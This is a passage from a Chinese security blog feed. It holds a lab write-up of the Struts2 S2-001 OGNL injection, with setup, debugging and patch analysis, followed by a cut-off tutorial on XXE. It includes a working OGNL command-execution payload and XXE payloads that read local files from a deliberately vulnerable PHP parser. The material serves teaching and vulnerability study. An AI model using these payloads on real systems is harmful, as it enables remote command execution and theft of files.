class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.demo.action;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.opensymphony.xwork2.ActionSupport;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">LoginAction</span> <span class="keyword">extends</span> <span class="title">ActionSupport</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> String username = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">private</span> String password = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getUsername</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.username;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getPassword</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">this</span>.password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setUsername</span><span class="params">(String username)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.username = username;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setPassword</span><span class="params">(String password)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.password = password;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">execute</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">if</span> ((<span class="keyword">this</span>.username.isEmpty()) || (<span class="keyword">this</span>.password.isEmpty())) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ((<span class="keyword">this</span>.username.equalsIgnoreCase(<span class="string">"admin"</span>))</span><br><span class="line"> && (<span class="keyword">this</span>.password.equals(<span class="string">"admin"</span>))) {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"success"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后在src目录下新建struts.xml,内容如下</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span> <span class="meta">?></span></span></span><br><span class="line"><span class="meta"><!DOCTYPE struts PUBLIC</span></span><br><span class="line"><span class="meta"> "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"</span></span><br><span class="line"><span class="meta"> "http://struts.apache.org/dtds/struts-2.0.dtd"></span></span><br><span class="line"><span class="tag"><<span class="name">struts</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">package</span> <span class="attr">name</span>=<span class="string">"S2-001"</span> <span class="attr">extends</span>=<span class="string">"struts-default"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">name</span>=<span class="string">"login"</span> <span class="attr">class</span>=<span class="string">"com.demo.action.LoginAction"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">name</span>=<span class="string">"success"</span>></span>welcome.jsp<span class="tag"></<span class="name">result</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">result</span> <span class="attr">name</span>=<span class="string">"error"</span>></span>index.jsp<span class="tag"></<span class="name">result</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">action</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">package</span>></span></span><br><span class="line"><span class="tag"></<span class="name">struts</span>></span></span><br></pre></td></tr></table></figure><p><strong>结果如下图所示:</strong></p><p><img src="http://images.xianyu123.club/20200815141838.png" alt="image-20200815141838498"></p><h3 id="第四步"><a href="#第四步" class="headerlink" title="第四步"></a>第四步</h3><p>这时候会看到LoginAction会一直显示找不到要导入的<code>opensymphony.xwork2.ActionSupport</code>,是由于jar包还没有真正的被导入到这个项目中</p><p><img src="http://images.xianyu123.club/20200815102835.png" alt="image-20200815102834990"></p><p>点击<code>File->Project Structure</code></p><p><img src="http://images.xianyu123.club/20200815102737.png" alt="image-20200815102737187"></p><p><img src="http://images.xianyu123.club/20200815102907.png" alt="image-20200815102907608"></p><p>然后找到刚才在lib目录下的jar包,点上勾之后点击OK即可</p><p>然后<code>Build->Build Project</code>build一下整个项目,刚才的包就被成功的导入到项目中,错误提示也就消失了</p><h3 id="第五步"><a href="#第五步" class="headerlink" title="第五步"></a>第五步</h3><p>在<code>Run——Edit Configurations</code>一下tomcat的环境即可</p><p><img src="http://images.xianyu123.club/20200815122921.png" alt="image-20200815122921009"></p><p>配置项目路径和端口,配置完成后运行tomcat就可以启动了</p><p><img src="http://images.xianyu123.club/20200815123032.png" alt="image-20200815123032227"></p><p>配置项目路径</p><p><img src="http://images.xianyu123.club/20200815123256.png" alt="image-20200815123256613"></p><p><strong>配置成功后启动如下图:</strong></p><p><img src="http://images.xianyu123.club/20200815123408.png" alt="image-20200815123408534"></p><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><p><strong>poc验证:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{1+1}</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200819103900.png" alt="image-20200819103900762"></p><p><strong>命令执行:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}</span><br></pre></td></tr></table></figure><p>将<code>new java.lang.String[]{"whoami"})</code>中的<code>whoami</code>替换为对应的命令,即可执行。</p><p><img src="http://images.xianyu123.club/20200819105249.png" alt="image-20200819105249076"></p><h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>在此之前,需要了解一些Struts2的工作原理的知识,方便我们后续代码审计</p><ol><li><a href="https://www.jianshu.com/p/ac89eaf1b6b5" target="_blank" rel="noopener">struts2处理http请求参数的流程</a></li></ol><p>首先了解一下<strong>拦截器</strong>的概念:</p><blockquote><p>拦截器是Struts2框架的核心,它主要完成解析请求参数、将请求参数赋值给Action属性、执行数据校验、文件上传等工作。</p></blockquote><p>关于拦截器的知识,可以参考:<a href="https://www.jianshu.com/p/30b62f11d6cb" target="_blank" rel="noopener">Struts2拦截器Interceptor</a></p><p>在<code>/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/struts-default.xml</code>中搜索<code>params</code>,我们可以找到拦截器的位置,跟进</p><p><img src="http://images.xianyu123.club/20200817135247.png" alt="image-20200817135241428"></p><p>我们从<code>S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class</code>的<code>doIntercept()</code>方法开始调试,到达该方法的97行,step into跟进</p><p><img src="http://images.xianyu123.club/20200817140141.png" alt="image-20200817140141467"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class</code>的<code>invoke()</code>方法,然后继续Step over,到达<code>this.executeResult()</code>处Step into跟进</p><p><img src="http://images.xianyu123.club/20200817141102.png" alt="image-20200817141101980"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class</code>的<code>executeResult()</code>方法,然后继续Step over,到达<code>this.result.execute(this);</code>处Step into跟进</p><p><img src="http://images.xianyu123.club/20200817141410.png" alt="image-20200817141410455"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class</code>的<code>execute()</code>方法,然后继续Step over,到达<code>this.doExecute(this.lastFinalLocation, invocation);</code>处Step into跟进</p><p><img src="http://images.xianyu123.club/20200817141732.png" alt="image-20200817141731940"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/ServletDispatcherResult.class</code>的<code>doExecute()</code>方法,然后继续Step over,到达<code>dispatcher.forward(request, response);</code>处Step into跟进</p><p><img src="http://images.xianyu123.club/20200817141859.png" alt="image-20200817141859818"></p><p>这里跟进比较多,过程就省略了,调用栈如下:</p><p><img src="http://images.xianyu123.club/20200816211718.png" alt="image-20200816211718233"></p><p>然后我们把断点重新设置在<code>/Struts2/S2_001/web/index.jsp</code>,这里就一直Step into</p><p><img src="http://images.xianyu123.club/20200817153640.png" alt="image-20200817153640789"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class</code>的<code>doStartTag()</code>方法,这个方法就是在解析标签,但这时的标签并不包含我们的payload,这里我们Step over</p><p><img src="http://images.xianyu123.club/20200817153056.png" alt="image-20200817153056106"></p><p>然后会返回到<code>/Struts2/S2_001/web/index.jsp</code>,接着Step into跟进</p><p><img src="http://images.xianyu123.club/20200817153901.png" alt="image-20200817153901281"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class</code>的<code>doEndTag()</code>方法,到达<code>this.component.end(this.pageContext.getOut(), this.getBody());</code>处Step into跟进</p><p><img src="http://images.xianyu123.club/20200817152944.png" alt="image-20200817152943999"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/StrutsBodyTagSupport.class</code>,继续Step into跟进</p><p><img src="http://images.xianyu123.club/20200817154146.png" alt="image-20200817154146021"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class</code>,然后继续跟进<code>evaluateParams();</code>方法</p><p><img src="http://images.xianyu123.club/20200817154308.png" alt="image-20200817154308077"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class</code>,然后继续Step over</p><p>这里因为开启了<code>altSyntax</code>,expr变为为<code>%{password}</code></p><p><img src="http://images.xianyu123.club/20200817155057.png" alt="image-20200817155057377"></p><p>到达<code>this.addParameter("nameValue", this.findValue(expr, valueClazz));</code>处Step into跟进</p><p><img src="http://images.xianyu123.club/20200817154650.png" alt="image-20200817154650278"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/Component.class</code>,然后继续Step over,遇到<code>return TextParseUtil.translateVariables('%', expr, this.stack);</code>后Step into跟进</p><p><img src="http://images.xianyu123.club/20200817155250.png" alt="image-20200817155250719"></p><p>跟进后,到达<code>/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class</code>,这里遇到一个递归函数,留意这个递归函数,Step into跟进(其实就在这个方法的下面)</p><p><img src="http://images.xianyu123.club/20200817155307.png" alt="image-20200817155307765"></p><p><code>translateVariables()</code>方法源码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title">translateVariables</span><span class="params">(<span class="keyword">char</span> open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator)</span> </span>{</span><br><span class="line"> Object result = expression;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(<span class="keyword">true</span>) {</span><br><span class="line"> <span class="keyword">int</span> start = expression.indexOf(open + <span class="string">"{"</span>);</span><br><span class="line"> <span class="keyword">int</span> length = expression.length();</span><br><span class="line"> <span class="keyword">int</span> x = start + <span class="number">2</span>;</span><br><span class="line"> <span class="keyword">int</span> count = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(start != -<span class="number">1</span> && x < length && count != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">char</span> c = expression.charAt(x++);</span><br><span class="line"> <span class="keyword">if</span> (c == <span class="string">'{'</span>) {</span><br><span class="line"> ++count;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (c == <span class="string">'}'</span>) {</span><br><span class="line"> --count;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> end = x - <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (start == -<span class="number">1</span> || end == -<span class="number">1</span> || count != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> String var = expression.substring(start + <span class="number">2</span>, end);</span><br><span class="line"> Object o = stack.findValue(var, asType);</span><br><span class="line"> <span class="keyword">if</span> (evaluator != <span class="keyword">null</span>) {</span><br><span class="line"> o = evaluator.evaluate(o);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> String left = expression.substring(<span class="number">0</span>, start);</span><br><span class="line"> String right = expression.substring(end + <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (o != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (TextUtils.stringSet(left)) {</span><br><span class="line"> result = left + o;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> result = o;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (TextUtils.stringSet(right)) {</span><br><span class="line"> result = result + right;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> expression = left + o + right;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> result = left + right;</span><br><span class="line"> expression = left + right;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200817160321.png" alt="image-20200817160321742"></p><p><img src="http://images.xianyu123.club/20200817160454.png" alt="image-20200817160454389"></p><p>因为expr值为<code>%{password}</code>,解析结果为<code>%{1+1}</code>,然后递归调用了<code>translateVariables()</code>方法,因为这是OGNL表达式,所以得到值为2,关于OGNL的知识,可以参考:<a href="https://blog.csdn.net/tjcyjd/article/details/6850203" target="_blank" rel="noopener">Struts2中的OGNL详解</a></p><h1 id="补丁分析"><a href="#补丁分析" class="headerlink" title="补丁分析"></a>补丁分析</h1><p>在<a href="https://archive.apache.org/dist/struts/source/struts-2.0.9-src.zip" target="_blank" rel="noopener">Struts 2.0.9</a> 和 XWork 2.0.4修复了此漏洞。</p><p>在idea中,我们使用compare with功能对比了XWork 2.0.3和XWork 2.0.4的代码(左侧为XWork 2.0.3,右侧为XWork 2.0.4)</p><p>这里新增了变量<code>MAX_RECURSION=1</code></p><p><img src="http://images.xianyu123.club/20200818205338.png" alt="image-20200818205338668"></p><p>这里禁止了OGNL表达式的递归操作</p><p><img src="http://images.xianyu123.club/20200818205506.png" alt="image-20200818205506273"></p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><a href="https://xz.aliyun.com/t/2044" target="_blank" rel="noopener">【Struts2-命令-代码执行漏洞分析系列】S2-001</a></li><li><a href="https://xz.aliyun.com/t/2672" target="_blank" rel="noopener">从零开始学习struts2漏洞 S2-001</a></li></ul>]]></content>
<summary type="html">
<p>从零开始学习struts2漏洞———S2-001</p>
</summary>
<category term="Web Security" scheme="http://0clickjacking0.github.io/categories/Web-Security/"/>
</entry>
<entry>
<title>对xxe漏洞的一些思考</title>
<link href="http://0clickjacking0.github.io/2020/08/12/%E5%AF%B9xxe%E6%BC%8F%E6%B4%9E%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83/"/>
<id>http://0clickjacking0.github.io/2020/08/12/对xxe漏洞的一些思考/</id>
<published>2020-08-12T09:18:56.000Z</published>
<updated>2020-08-19T06:48:27.058Z</updated>
<content type="html"><![CDATA[<p>对xxe漏洞的一些思考</p><a id="more"></a><h1 id="XML的基础知识"><a href="#XML的基础知识" class="headerlink" title="XML的基础知识"></a>XML的基础知识</h1><h2 id="什么是XML"><a href="#什么是XML" class="headerlink" title="什么是XML"></a>什么是XML</h2><p>我在知乎上找到相对通俗的解释,如下:</p><p>以一种约定的字符串来表示某些常用数据类型,例如Map或者Array、Two-Dimensional Array。 因为双方都有约定,不同的应用就可以通过这些字符串进行数据的交换。 例如作为配置文件,那么应用本身可以读取这些配置,而文本编辑软件也可以按照约定的格式来编辑这些字符串,那么就实现了人肉和应用的数据的交换。 又例如作为网络应用,服务端发出这些字符串,客户端接收到后parse,就可以实现服务端传输一个Map的数据(举例)到客户端。 另外XML带有大量信息冗余,这样也方便人的阅读。</p><h2 id="文档结构"><a href="#文档结构" class="headerlink" title="文档结构"></a>文档结构</h2><p>XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"><!--XML声明--></span></span><br><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span><span class="meta">?></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment"><!--文档类型定义--></span></span><br><span class="line"><span class="meta"><!DOCTYPE note [ <!--定义此文档是 note 类型的文档,note为根元素--></span></span><br><span class="line"><span class="meta"><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--></span></span><br><span class="line"><span class="meta"><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--></span></span><br><span class="line"><span class="meta"><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--></span></span><br><span class="line"><span class="meta"><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--></span></span><br><span class="line"><span class="meta"><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--></span></span><br><span class="line"><span class="meta">]]]></span></span><br><span class="line"></span><br><span class="line"><span class="comment"><!--文档元素--></span></span><br><span class="line"><span class="tag"><<span class="name">note</span>></span></span><br><span class="line"><span class="tag"><<span class="name">to</span>></span>Dave<span class="tag"></<span class="name">to</span>></span></span><br><span class="line"><span class="tag"><<span class="name">from</span>></span>Tom<span class="tag"></<span class="name">from</span>></span></span><br><span class="line"><span class="tag"><<span class="name">head</span>></span>Reminder<span class="tag"></<span class="name">head</span>></span></span><br><span class="line"><span class="tag"><<span class="name">body</span>></span>You are a good man<span class="tag"></<span class="name">body</span>></span></span><br><span class="line"><span class="tag"></<span class="name">note</span>></span></span><br></pre></td></tr></table></figure><h2 id="什么是DTD"><a href="#什么是DTD" class="headerlink" title="什么是DTD"></a>什么是DTD</h2><p>文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。</p><h3 id="内部声明DTD"><a href="#内部声明DTD" class="headerlink" title="内部声明DTD"></a>内部声明DTD</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 [元素声明]></span><br></pre></td></tr></table></figure><h3 id="引用外部DTD"><a href="#引用外部DTD" class="headerlink" title="引用外部DTD"></a>引用外部DTD</h3><p><code>SYSTEM</code>关键字表示DTD文件是私有的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 SYSTEM "文件名"></span><br></pre></td></tr></table></figure><h3 id="引用公有的DTD"><a href="#引用公有的DTD" class="headerlink" title="引用公有的DTD"></a>引用公有的DTD</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素名称 PUBLIC "DTD名称" "公用DTD的URI"></span><br></pre></td></tr></table></figure><h2 id="什么是实体"><a href="#什么是实体" class="headerlink" title="什么是实体"></a>什么是实体</h2><p>实体其实可以理解为是一个变量,我们可以在 XML 中通过<code>&</code>符号进行引用。从上述的引用方式来看,实体可以分为<code>内部实体</code>与<code>外部实体</code>。从另一个角度来说,实体又可以分为<code>通用实体</code>和<code>参数实体</code>。我们一个个来说。</p><h3 id="内部实体"><a href="#内部实体" class="headerlink" title="内部实体"></a>内部实体</h3><p>示例代码:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"ISO-8859-1"</span><span class="meta">?></span></span></span><br><span class="line"><span class="meta"><!DOCTYPE foo [</span></span><br><span class="line"><span class="meta"><!ELEMENT foo ANY ></span></span><br><span class="line"><span class="meta"><!ENTITY xxe "flag" >]></span></span><br></pre></td></tr></table></figure><p>这里 定义元素为<code>ANY</code>说明接受任何元素,但是定义了一个 xml 的实体,那么 XML 就可以写成这样</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">message</span>></span></span><br><span class="line"><span class="tag"><<span class="name">user</span>></span>&xxe;<span class="tag"></<span class="name">user</span>></span></span><br><span class="line"><span class="tag"></<span class="name">message</span>></span></span><br></pre></td></tr></table></figure><p>我们使用<code>&xxe</code>对 上面定义的 xxe 实体进行了引用,到时候输出的时候<code>&xxe</code>就会被<code>"flag"</code>替换。</p><p><img src="http://images.xianyu123.club/20200813164822.png" alt="image-20200813164822756"></p><p><img src="http://images.xianyu123.club/20200813164838.png" alt="image-20200813164837975"></p><h3 id="外部实体"><a href="#外部实体" class="headerlink" title="外部实体"></a>外部实体</h3><p>示例代码:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"ISO-8859-1"</span><span class="meta">?></span></span></span><br><span class="line"><span class="meta"><!DOCTYPE foo [</span></span><br><span class="line"><span class="meta"><!ELEMENT foo ANY ></span></span><br><span class="line"><span class="meta"><!ENTITY xxe SYSTEM "file:///flag" >]></span></span><br><span class="line"><span class="tag"><<span class="name">message</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">user</span>></span>&xxe;<span class="tag"></<span class="name">user</span>></span></span><br><span class="line"><span class="tag"></<span class="name">message</span>></span></span><br></pre></td></tr></table></figure><h3 id="通用实体"><a href="#通用实体" class="headerlink" title="通用实体"></a>通用实体</h3><p>我个人的理解是与上述外部实体是一回事,只是叫法不同</p><h3 id="参数实体"><a href="#参数实体" class="headerlink" title="参数实体"></a>参数实体</h3><p>(1)使用 <code>% 实体名</code>(<strong>这里%后面空格不能少</strong>) 在 DTD 中定义,并且<strong>只能在 DTD 中使用 <code>%实体名;</code> 来进行引用</strong><br>(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体<br>(3)和通用实体一样,参数实体也可以外部引用</p><h1 id="xxe能做什么?"><a href="#xxe能做什么?" class="headerlink" title="xxe能做什么?"></a>xxe能做什么?</h1><p><img src="http://images.xianyu123.club/20200819144809.png" alt="此处输入图片的描述"></p><p>PHP在安装扩展以后还能支持的协议:</p><p><img src="http://images.xianyu123.club/20200819144823.png" alt="此处输入图片的描述"></p><h2 id="有回显读取本地文件"><a href="#有回显读取本地文件" class="headerlink" title="有回显读取本地文件"></a>有回显读取本地文件</h2><p><strong>示例代码:</strong></p><p><strong>xml.php</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line"> libxml_disable_entity_loader (false);</span><br><span class="line"> $xmlfile = file_get_contents('php://input');</span><br><span class="line"> $dom = new DOMDocument();</span><br><span class="line"> $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); </span><br><span class="line"> $creds = simplexml_import_dom($dom);</span><br><span class="line"> echo $creds;</span><br><span class="line">?></span><br></pre></td></tr></table></figure><p><strong>payload</strong>:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><?xml version="1.0" encoding="utf-8"?> </span><br><span class="line"><!DOCTYPE creds [ </span><br><span class="line"><!ENTITY flag SYSTEM "file:////Users/xianyu123/flag"> ]> </span><br><span class="line"><a>&flag;</a></span><br></pre></td></tr></table></figure><p>可以看到文件内容被读取了,<strong>结果如下</strong>:</p><p><img src="http://images.xianyu123.club/20200813171355.png" alt="image-20200813171355703"></p><p>然后我们创建一个文件<code>test.txt</code>,内容如下</p><p><img src="http://images.xianyu123.club/20200813172145.png" alt="image-20200813172145757"></p><p>然后尝试读取时,发现报错了,<strong>结果如下</strong>:</p><p><img src="http://images.xianyu123.club/20200813172244.png" alt="image-20200813172244173"></p><h3 id="CDATA标签"><a href="#CDATA标签" class="headerlink" title="CDATA标签"></a>CDATA标签</h3><p>CDATA 全名:character data。所有 XML 文档中的文本均会被解析器解析,除了 CDATA 区段(CDATA section)中的文本会被解析器忽略。</p><p>CDATA的形式如下:<code><![CDATA[文本内容]]></code> 。</p><p>CDATA的文本内容中不能出现字符串“]]>”。另外,CDATA不能嵌套。</p><p>XML 实例: 在CDATA标记中的信息被解析器原封不动地传给应用程序,并且不解析该段信息中的任何控制标记。 CDATA区域是由<code><![CDATA["为开始标记,以“]]></code>为结束标记,注意CDATA为大写。</p><p>那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,下面我们来分析一下如何做到。</p><p>首先,找到问题出现的地方,问题出现在</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line"><!ENTITY flag SYSTEM "file:////Users/xianyu123/test.txt"> ]> </span><br><span class="line"><a>&flag;</a></span><br></pre></td></tr></table></figure><p>在XML中,有时实体内包含了些字符,如<code>&</code>,<code><</code>,<code>></code>,<code>"</code>,<code>'</code>等。这些均需要对其进行转义,否则会对XML解释器生成错误,所以我们把数据放在<code>"<![CDATA["和 “]]>"</code>中,但是好像没有任何语法告诉我们字符串能拼接的,这里多个实体连续引用的方法是行不通的,所以我们就需要引入DTD文件,然后使用参数实体。</p><p>在引入外部DTD声明之后,想要嵌套其它参数实体就必须要用一个“中间参数实体”去搭桥,这个中间参数实体可以理解为eval。具体实现方法看下面的POC</p><p><strong>payload</strong>:</p><p>这里dtd引用的内容可以是本地的,也可以是公网上的</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 